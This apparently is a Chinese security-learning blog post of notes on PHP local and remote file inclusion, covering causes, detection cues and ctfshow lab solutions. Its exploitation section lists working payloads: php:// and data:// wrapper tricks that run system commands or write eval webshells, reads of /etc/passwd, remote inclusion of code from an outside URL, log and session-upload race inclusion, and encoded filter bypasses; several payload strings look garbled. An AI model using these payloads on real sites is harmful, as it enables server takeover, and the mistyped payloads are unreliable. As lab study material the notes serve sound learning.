其他脚本语言也有

演示案例

文件包含-原理&分类&利用&修复

黑盒利用-VULWEB-有无包含文件

白盒利用-CTFSHOW-伪协议玩法

文件包含-原理&分类&利用&修复

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

(1)分类

本地包含-Local File Include-LFI

远程包含-Remote File Include-RFI

差异原因:代码过滤和环境配置文件开关决定

php配置文件

php.ini里面的 allow_url_include=on

(2) 漏洞成因

使用文件包含函数 include require

包含的文件可控

(3)危害:代码执行

本地包含:没有上传的话,文件固定的,包含带有攻击的代码

有文件利用:上传一个文件文件写有我们的恶意代码(配合上传)

地址不知道=没上传

无文件利用:

a、包含日志文件利用

b、包含session文件利用

c、伪协议玩法利用

远程包含:直接搭建一个可访问的远程URL包含文件

2、白盒审计:ctfshow

白盒发现

(1)可通过应用功能追踪代码定位审计

(2)可通过脚本特定函数搜索定位审计

(3)可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等

include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require函数出现错误的时候,会直接报错并退出程序的执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

3、黑盒分析

黑盒发现:主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

4、利用

本地利用思路

(1)配合文件上传

(2)无文件包含日志

(3)无文件包含SESSION

(4)无文件支持伪协议利用

文章参考

php伪协议 - 看不尽的尘埃 - 博客园

Ctfshow Web入门 - 文件包含总结

文件包含与PHP伪协议 - beiwo - 博客园

文件读取

file:///etc/passwd

php://filter/read=convert.base64-encode/resource=phpinfo.php

文件写入

php://filter/write=convert.base64-encode/resource=phpinfo.php  ---->需要传参,比较复杂,CTF常见

php://input 

POST:<?php fputs(fopen ('shell.php','w'),'<?php@eval($_GET[cmd]);?>'); ?>

代码执行

php://input POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbyqpOz8%2b

远程利用思路

直接搭建一个可访问的远程URL包含文件

5、修复见网上参考方案

黑盒利用-VULWEB-有无包含文件

http://testphp.vulnweb.com

白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

ctfshow习题

78-php&http协议

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

payload:?file=php://input post:<?php system('tac flag.php');?>

payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?phpsystem('tac flag.php');?>

79-data&http协议

payload:?file=data://text/plain,<?=system('tac flag.*'); ?>

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?phpsystem('tac flag.php');?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码包含:/var/log/nginx/access.log

82-86-SESSION包含

利用PHP SESSION UPLOAD PROGRESS进行文件包含自定义session名字,条件竞争访问session文件,触发创建新文件<!DOCTYPE html>

<html>

<body>

<form action="http://xxxx.ctf.show/" method="POST"enctype="multipart/form-data">

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"value="
<?php fputs(fopen('shell.php','w'),'<?php@eval($ PosT[1])?>'?>"/>

<input type="file" name="file" />

session包含 - lnterpreter - 博客园

87-php://filter/write&加密编码

1、利用base64

url编码2次

php://filter/write=convert.base64-decode/resource=123.phpcontent=aaPD9WaHAGQGV2YWWOJF9QT1NUW2FdKTs/Pg=

2、利用凯撒13

url编码2次

php://filter/write=string.rot13/resource=2.phpcontent=<?cuc riny($ CBFG[1]);?>

88-datasbase64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTt]Y2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv("UcS-2LE","UCS-2BE",'<?php eval($ PosT[a]);?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);

?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P So[T]a;)>?

小结

听到过时的时候天塌了

原来发展那么迅速 那么我该走哪条路呢

时间淡忘一切

欢迎来访 这是我的小窝~ 网安弱鸡 健身屌丝 好不容易搭出来的 大佬略过我
最后更新于 2025-10-20